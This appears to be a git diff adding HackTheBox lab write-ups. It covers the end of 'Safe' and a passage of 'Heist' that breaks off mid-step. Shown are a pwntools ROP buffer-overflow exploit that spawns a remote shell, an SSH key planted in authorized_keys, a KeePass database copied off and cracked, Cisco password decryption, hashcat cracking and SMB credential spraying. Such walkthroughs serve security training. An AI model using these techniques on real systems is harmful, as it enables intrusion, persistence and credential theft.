"myapp", stopped, reason: SIGTRAP + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x7fd2a202e090 → _start() + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + Reading /lib64/ld-linux-x86-64.so.2 from remote target... + Breakpoint 1 at 0x401163 + + +So here we hit our first breakpoint which is main, we do continue with the c command + + + gef➤ c + Continuing. + Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target... + + Breakpoint 1, 0x0000000000401163 in main () + __main__:2421: DeprecationWarning: invalid escape sequence '\' + [ Legend: Modified register | Code | Heap | Stack | String ] + ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x000000000040115f → <****main+0> push rbp + $rbx : 0x0 + $rcx : 0x00007fd2a2007718 → 0x00007fd2a2009a40 → 0x0000000000000000 + $rdx : 0x00007fff98990538 → 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV" + $rsp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15 + $rbp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + $rdi : 0x1 + $rip : 0x0000000000401163 → <****main+4> sub rsp, 0x70 + $r8 : 0x00007fd2a2009a50 → 0x0000000000000004 + $r9 : 0x00007fd2a203c780 → <_dl_fini+0> push rbp + $r10 : 0xffffffff + $r11 : 0x4 + $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + $r13 : 0x00007fff98990520 → 0x0000000000000001 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fff98990440│+0x0000: 0x00000000004011b0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp + 0x00007fff98990448│+0x0008: 0x00007fd2a1e74bbb → <__libc_start_main+235> mov edi, eax + 0x00007fff98990450│+0x0010: 0x0000000000000000 + 0x00007fff98990458│+0x0018: 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + 0x00007fff98990460│+0x0020: 0x0000000100400000 + 0x00007fff98990468│+0x0028: 0x000000000040115f → <****main+0> push rbp + 0x00007fff98990470│+0x0030: 0x0000000000000000 + 0x00007fff98990478│+0x0038: 0xe451416c2c196dfa + ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x40115e <****test+12> ret + 0x40115f <****main+0> push rbp + 0x401160 <****main+1> mov rbp, rsp + → 0x401163 <****main+4> sub rsp, 0x70 + 0x401167 <****main+8> lea rdi, [rip+0xe9a] # 0x402008 + 0x40116e <****main+15> call 0x401040 <****system@plt> + 0x401173 <****main+20> lea rdi, [rip+0xe9e] # 0x402018 + 0x40117a <****main+27> mov eax, 0x0 + 0x40117f <****main+32> call 0x401050 <****printf@plt> + ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "myapp", stopped, reason: BREAKPOINT + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x401163 → main() + +Here we hit another breakpoint on main. To see what we can do let's return to ghidra, we want to somehow hijack the systemcall in our main function even though we don't have a way to put something on the stack. + + + undefined8 main(void) + + { + char local_78 [112]; + + system("/usr/bin/uptime"); + printf("\nWhat do you want me to echo back? "); + gets(local_78); + puts(local_78); + return 0; + } + + +in ghidra still, we check what is the system()'s memory address + +![](prg/35_006.png) + +Now that we know system()'s memory address, we can run our exploit.py again accordingly back into gef + + + Breakpoint 1 at 0x401163 + gef➤ b *0x40116e + Breakpoint 2 at 0x40116e + gef➤ c + + +now that we set our second breakpoint at the system call's memory address, we can continue, but the execution will halt where we want. + + + 0x40115e <****test+12> ret + 0x40115f <****main+0> push rbp + 0x401160 <****main+1> mov rbp, rsp + → 0x401163 <****main+4> sub rsp, 0x70 + 0x401167 <****main+8> lea rdi, [rip+0xe9a] # 0x402008 + 0x40116e <****main+15> call 0x401040 <****system@plt> + 0x401173 <****main+20> lea rdi, [rip+0xe9e] # 0x402018 + 0x40117a <****main+27> mov eax, 0x0 + 0x40117f <****main+32> call 0x401050 <****printf@plt> + +we halted 2 lines before the systemcall. First we are loading the first variable into rdi which is "/usr/bin/uptime" we can verify it with the following : + + + gef➤ x/s $rdi + 0x1: <****error: Cannot access memory at address 0x1> + + gef➤ c + + gef➤ x/s $rdi + 0x402008: "/usr/bin/uptime" + +doing so we can see the variable "/usr/bin/uptime" getting loaded into rdi, we can verify it using the registers command. From there Our goal is to find a way to put our string into $rdi, so that instead of calling uptime, the system will call something else. we change our exploit.py accordingly, adding the ropchain + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → objdump -D myapp | grep -i system + 0000000000401040 <****system@plt>: + 401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <****system@GLIBC_2.2.5> + 40116e: e8 cd fe ff ff callq 401040 <****system@plt> + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → objdump -D myapp | grep -i test + 40100b: 48 85 c0 test %rax,%rax + 4010c2: 48 85 c0 test %rax,%rax + 401104: 48 85 c0 test %rax,%rax + 0000000000401152 : + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → nano exploit.py + + +So we need the jump instruction here, at the memory address 0x401040 and the test function's memory address 0x401152 to modify our python script accordingly + + + #0x40115f - main + #0x40116e - system + #0x401206 - pop r13, pop, pop + + from pwn import * + context(terminal=['tmux','new-window']) + #p = gdb.debug('./myapp','b main') + p = remote('10.10.10.147', 1337) + context(os='linux',arch='amd64') + + + junk = ("A" * 112).encode() + bin_sh = "/bin/sh\x00".encode() + system = p64(0x40116e) # could also be 401040 + pop_r13 = p64(0x401206) # later used as r13 (treat as rsp) + null = p64(0x0) + test = p64(0x401152) # RSP => RDI , JMP R13 + + #p.recvuntil('What do you want me to echo back ?') + p.sendline(junk + bin_sh + pop_r13 + system + null + null + test) + p.interactive() + + +Looking at the last 2 lines, first we trigger the buffer overflow, then place in the bin_sh variable into the rsp register, then it is going to put the system memory location into r13, then going through the other 2 pops in that chain (with the 2 null bytes), to then finally return to test, therefore test will now execute it. p.interactive() will hopefully allow us to have an interactive shell onto the system. + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → python3 exploit.py + [+] Opening connection to 10.10.10.147 on port 1337: Done + [*] Switching to interactive mode + 04:58:56 up 18:49, 0 users, load average: 0.00, 0.00, 0.00 + $ uname -a + Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux + $ cat /home/user/user.txt + 7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag :) + +## **Part 3 : Getting Root Access** + +Before we start to privesc, let's first upgrade our shell since gdb's shell is all weird we don't really know how to get a full TTY + +_Terminal 1:_ + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → ssh-keygen -f safe + Generating public/private rsa key pair. + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in safe. + Your public key has been saved in safe.pub. + The key fingerprint is: + SHA256:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX root@prometheus + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → chmod 600 safe + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → cat safe.pub + ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9CrDgoACLstXIV/Y9383Iir29poCf0O56qHFkl/dMUlaW+zCIq9KEkgsHwa6SvItacsc3EObC8CPoc1N2AIR+8K1G0jVaRVMYF5os/0UbTK4pd/xXPqV8WrW4GmK4ntZoa3DCTBkeUPDveOo2i/0Fmwhj9pEFFb7/i4DlM5FwVqbowOmm8AhSXc3QuwlyV+7k8WRWPUGPWf6UCNWo4AUUAKRZvcqmEEx4uft7GjQNiKqn8X+jVanbb2UXqSyA7bPYh5336o/1lluvhUuXVX7MmMh2wbcbMz/gamxIaGI6NDByTl8pls/hcjstoPRVearRji69HlCZcRrJVZ2rf5SPLpAROUmJdHR1L6HYxVWtdvq1VWAUzkwTCWH6FDpJChAMuJeSt6pdG1OjET+KD38VaBlHQujD4lWOANEAlttV1+3o3zvbCEqOrNsag3+hqcFk5rWk9P/Bh1WkI+vOwioslFxckKmt/RcA/4wcNHkYv/0ezr59lrBGVax7RhtZbPc= root@prometheus + + +_Terminal 2:_ + + + $ echo 'N2AIR+8K1G0jVaRVMYF5os/0UbTK4pd/xXPqV8WrW4GmK4ntZoa3DCTBkeUPDveOo2i/0Fmwhj9pEFFb7/i4DlM5FwVqbowOmm8AhSXc3QuwlyV+7k8WRWPUGPWf6UCNWo4AUUAKRZvcqmEEx4uft7GjQNiKqn8X+jVanbb2UXqSyA7bPYh5336o/1lluvhUuXVX7MmMh2wbcbMz/gamxIaGI6NDByTl8pls/hcjstoPRVearRji69HlCZcRrJVZ2rf5SPLpAROUmJdHR1L6HYxVWtdvq1VWAUzkwTCWH6FDpJChAMuJeSt6pdG1OjET+KD38VaBlHQujD4lWOANEAlttV1+3o3zvbCEqOrNsag3+hqcFk5rWk9P/Bh1WkI+vOwioslFxckKmt/RcA/4wcNHkYv/0ezr59lrBGVax7RhtZbPc= root@prometheus' > /home/user/.ssh/authorized_keys + + +_Terminal 1:_ + + + + + +_Terminal 2:_ + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → scp -i ../Ghidra/safe user@10.10.10.147:MyPasswords.kdbx . + MyPasswords.kdbx 100% 2446 24.1KB/s 00:00 + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → scp -i ../Ghidra/safe user@10.10.10.147:IMG_0547.JPG . + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → ls + MyPasswords.kdbx + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → file MyPasswords.kdbx + MyPasswords.kdbx: Keepass password database 2.x KDBX + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → file IMG_0547.JPG + IMG_0547.JPG: JPEG image data, baseline, precision 8, 3264x2448, components 3 + + + +So here we have downloaded two of the files we need to privesc. one is a .kdbx file and the other is an image. + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → /usr/sbin/keepass2john MyPasswords.kdbx | sed "s/MyPasswords/IMG_0547.JPG/g" + IMG_0547.JPG:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96 + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → /usr/sbin/keepass2john MyPasswords.kdbx | sed "s/MyPasswords/IMG_0547.JPG/g" > keepass_hash + + +from here we have our keepass hash, let's crack it with john and rockyou.txt + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/files] + → john -w:/usr/share/wordlists/rockyou.txt keepass_hash + Created directory: /root/.john + Using default input encoding: UTF-8 + Loaded 1 password hash (KeePass [SHA256 AES 32/64]) + Cost 1 (iteration count) is 60000 for all loaded hashes + Cost 2 (version) is 2 for all loaded hashes + Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + bullshit (MyPasswords) + + +Good choice for a master password + +![](prg/35_008.png) + + + user@safe:~$ su + Password: + root@safe:/home/user# uname -a + Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux + root@safe:/home/user# cat /root/root.txt + d7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to escalate privileges and print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/35_graph.png) + diff --git a/Easy/36.md b/Easy/36.md new file mode 100644 index 0000000..66be90a --- /dev/null +++ b/Easy/36.md @@ -0,0 +1,698 @@ +# Heist Writeup + +![](img/36.png) + +## Heist Introduction : + +Heist is an easy Windows box that was released back in August 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.7/23 ] [~] + → nmap -F 10.10.10.149 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:26 GMT + Nmap scan report for 10.10.10.149 + Host is up (0.098s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 80/tcp open http + 135/tcp open msrpc + 445/tcp open microsoft-ds + + Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds + + λ nihilist [ 10.10.14.7/23 ] [~] + → nmap -sCV -p80,135,445 10.10.10.149 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:28 GMT + Nmap scan report for 10.10.10.149 + Host is up (0.11s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + | http-title: Support Login Page + |_Requested resource was login.php + 135/tcp open msrpc Microsoft Windows RPC + 445/tcp open microsoft-ds? + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 57s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-02-18T08:30:02 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 65.57 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the http service on port 80 so let's see what we are dealing with. http://10.10.10.149/login.php and we navigate over to issues.php + +![](prg/36_001.png) ![](prg/36_002.png) + + + version 12.2 + no service pad + service password-encryption + ! + isdn switch-type basic-5ess + ! + hostname ios-1 + ! + security passwords min-length 12 + enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 + ! + username rout3r password 7 0242114B0E143F015F5D1E161713 + username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 + ! + ! + ip ssh authentication-retries 5 + ip ssh version 2 + ! + ! + router bgp 100 + synchronization + bgp log-neighbor-changes + bgp dampening + network 192.168.0.0 mask 300.255.255.0 + timers bgp 3 9 + redistribute connected + ! + ip classless + ip route 0.0.0.0 0.0.0.0 192.168.0.1 + ! + ! + access-list 101 permit ip any any + dialer-list 1 protocol ip list 101 + ! + no ip http server + no ip http secure-server + ! + line vty 0 4 + session-timeout 600 + authorization exec SSH + transport input ssh + + + +Here we have a cisco router config, with 2 type 7 passwords, so we'll use [this python script](https://github.com/theevilbit/ciscot7) to decrypt them. As for the type 5 password we'll just use hashcat in combination with rockyou.txt to find the password. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → git clone https://github.com/theevilbit/ciscot7 + Cloning into 'ciscot7'... + remote: Enumerating objects: 4, done. + remote: Counting objects: 100% (4/4), done. + remote: Compressing objects: 100% (4/4), done. + remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 15 + Unpacking objects: 100% (19/19), 6.73 KiB | 574.00 KiB/s, done. + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → cd ciscot7 + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ✔ + → ls [21af318] + ciscot7.py LICENSE.md README.md + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ✔ + → python ciscot7.py -p 0242114B0E143F015F5D1E161713 [21af318] + Decrypted password: $uperP@ssword + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ✔ + → python ciscot7.py -p 02375012182C1A1D751618034F36415408 [21af318] + Decrypted password: Q4)sJu\Y8qz*A3?d + + +now that we have the two type 7 passwords, we'll try to get the type 5 password using hashcat and rockyou.txt + + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ✔ + → echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' >> cis.md5 [21af318] + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ? + → cat cis.md5 [21af318] + $1$pdQG$o8nrSzsGXeaduXrjlvKc91 + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ? + → hashcat -m 500 [21af318] + Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]... + + Try --help for more help. + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at  master ? + → hashcat -m 500 cis.md5 /usr/share/wordlists/rockyou.txt [21af318] + + +This takes some time to run, but we get the password "stealth1agent" + + * rout3r:$uperP@ssword + * admin:Q4)sJu\Y8qz*A3?d + * secret:stealth1agent + + + +other than those credentials, we have potential usernames : Hazard + +In other words, we have 4 possible usernames, and 3 possible passwords, let's create users.txt and pass.txt , in order to use crackmapexec on the shares our nmap scan picked up earlier. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → nano users.txt + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → nano pass.txt + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt + SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False) + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\hazard:stealth1agent + SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares + SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark + SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------ + SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin + SMB 10.10.10.149 445 SUPPORTDESK C$ Default share + SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC + + +We get matching credentials for hazard:stealth1agent ! Let's fire up the metasploit database and then launch msfconsole to see what we can do from there. + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist] + → msfdb init + [+] Starting database + [+] Creating database user 'msf' + [+] Creating databases 'msf' + [+] Creating databases 'msf_test' + [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' + [+] Creating initial database schema + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist] + → msfconsole + + msf5 > creds + Credentials + =========== + + host origin service public private realm private_type JtR Format + ---- ------ ------- ------ ------- ----- ------------ ---------- + + msf5 > use auxiliary/scanner/smb/smb_login + msf5 auxiliary(scanner/smb/smb_login) > setg USER_FILE user.txt + USER_FILE => user.txt + msf5 auxiliary(scanner/smb/smb_login) > setg PASS_FILE pass.txt + PASS_FILE => pass.txt + msf5 auxiliary(scanner/smb/smb_login) > setg RHOSTS 10.10.10.149 + RHOSTS => 10.10.10.149 + msf5 auxiliary(scanner/smb/smb_login) > run + + +we can also run this and we would get the same results as the python script we ran before, matching hazard:stealth1agent, for this next section we'll use impacket scripts to continue with our enumeration process + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist] + → locate psexec.py + /usr/share/doc/python3-impacket/examples/psexec.py + /usr/share/set/src/fasttrack/psexec.py + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist] + → cd /usr/share/doc/python3-impacket/examples/ + + λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples] + → ls + atexec.py getST.py mimikatz.py opdump.py rpcdump.py smbserver.py + dcomexec.py getTGT.py mqtt_check.py ping6.py sambaPipe.py sniffer.py + dpapi.py GetUserSPNs.py mssqlclient.py ping.py samrdump.py sniff.py + esentutl.py goldenPac.py mssqlinstance.py psexec.py secretsdump.py split.py + GetADUsers.py ifmap.py netview.py raiseChild.py services.py ticketer.py + getArch.py karmaSMB.py nmapAnswerMachine.py rdp_check.py smbclient.py wmiexec.py + GetNPUsers.py kintercept.py ntfs-read.py registry-read.py smbexec.py wmipersist.py + getPac.py lookupsid.py ntlmrelayx.py reg.py smbrelayx.py wmiquery.py + + λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples] + → python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149 + + +The above command is going to run a RID/SID bruteforce which is going to give us more usernames + + + λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples] + → python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149 + Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation + + [*] Brute forcing SIDs at 10.10.10.149 + [*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc] + [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 + 500: SUPPORTDESK\Administrator (SidTypeUser) + 501: SUPPORTDESK\Guest (SidTypeUser) + 503: SUPPORTDESK\DefaultAccount (SidTypeUser) + 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) + 513: SUPPORTDESK\None (SidTypeGroup) + 1008: SUPPORTDESK\Hazard (SidTypeUser) + 1009: SUPPORTDESK\support (SidTypeUser) + 1012: SUPPORTDESK\Chase (SidTypeUser) + 1013: SUPPORTDESK\Jason (SidTypeUser) + + +And we're getting interesting results ! we have a few more possible usernames to add to our users.txt file + + + secret + admin + rout3r + hazard + support + chase + jason + + +running crackmapexec again, we are getting other matching credentials : + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt + SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False) + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:stealth1agent STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:$uperP@ssword STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\chase:Q4)sJu\Y8qz*A3?d + + +Now that we have our matching credentials : chase:Q4)sJu\Y8qz*A3?d let's use evil-winrm to login. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → git clone https://github.com/Hackplayers/evil-winrm + Cloning into 'evil-winrm'... + remote: Enumerating objects: 65, done. + remote: Counting objects: 100% (65/65), done. + remote: Compressing objects: 100% (54/54), done. + remote: Total 765 (delta 33), reused 27 (delta 11), pack-reused 700 + Receiving objects: 100% (765/765), 1.97 MiB | 485.00 KiB/s, done. + Resolving deltas: 100% (438/438), done. + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → cd evil-winrm + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ✔ + → cat Gemfile [e501272] + source 'https://rubygems.org' + + gem 'winrm' + gem 'winrm-fs' + gem 'stringio' + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ✔ + → gem install winrm winrm-fs stringio [e501272] + Fetching: builder-3.2.4.gem (100%) + ERROR: While executing gem ... (Gem::FilePermissionError) + You don't have write permissions for the /var/lib/gems/2.5.0 directory. + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ✔ + → sudo !! [e501272] + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ✔ + → sudo gem install winrm winrm-fs stringio [e501272] + [sudo] password for nihilist: + + +Once that's done, run the ruby script as follows: + + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ✔ + → ruby evil-winrm.rb -u chase -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149 [e501272] + + Evil-WinRM shell v2.3 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\Chase\Documents> + + +And we are logged in as the Chase user! + + + *Evil-WinRM* PS C:\Users\Chase\Documents> cd .. + *Evil-WinRM* PS C:\Users\Chase> gci -recurse . | select fullname + + FullName + -------- + C:\Users\Chase\3D Objects + C:\Users\Chase\Contacts + C:\Users\Chase\Desktop + C:\Users\Chase\Documents + C:\Users\Chase\Downloads + C:\Users\Chase\Favorites + C:\Users\Chase\Links + C:\Users\Chase\Music + C:\Users\Chase\Pictures + C:\Users\Chase\Saved Games + C:\Users\Chase\Searches + C:\Users\Chase\Videos + C:\Users\Chase\Desktop\todo.txt + C:\Users\Chase\Desktop\user.txt + C:\Users\Chase\Favorites\Links + C:\Users\Chase\Favorites\Bing.url + C:\Users\Chase\Links\Desktop.lnk + C:\Users\Chase\Links\Downloads.lnk + + *Evil-WinRM* PS C:\Users\Chase> type Desktop\user.txt + a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and that's it ! we have been able to print out the user flag :) + +## **Part 3 : Getting Root Access** + +In order to privesc, let's check out the files we can view beforehand. + + + *Evil-WinRM* PS C:\Users\Chase> cd Desktop + *Evil-WinRM* PS C:\Users\Chase\Desktop> type todo.txt + Stuff to-do: + 1. Keep checking the issues list. + 2. Fix the router config. + + Done: + 1. Restricted access for guest user. + + +looks like they had to fix the router config, as we saw earlier in the issues.php webpage on the http service running on port 80. + + + *Evil-WinRM* PS C:\Users> cd Hazard + *Evil-WinRM* PS C:\Users\Hazard> dir + Access to the path 'C:\Users\Hazard' is denied. + At line:1 char:1 + + dir + + ~~~ + + CategoryInfo : PermissionDenied: (C:\Users\Hazard:String) [Get-ChildItem], UnauthorizedAccessException + + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand + + +checking out hazard's user directory, we get permissions denied. We know there is a webserver, so let's enumerate it. + + + *Evil-WinRM* PS C:\> cd inetpub + *Evil-WinRM* PS C:\inetpub> cd wwwroot + *Evil-WinRM* PS C:\inetpub\wwwroot> dir + Access to the path 'C:\inetpub\wwwroot' is denied. + At line:1 char:1 + + dir + + ~~~ + + CategoryInfo : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException + + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand + *Evil-WinRM* PS C:\inetpub\wwwroot> + + +Weird, we don't have permissions to see what files are there in the wwwroot directory, although we know for a fact that index.php, login.php ,issues.php are there. Let's check out the most interesting one : login.php + + + session_start(); 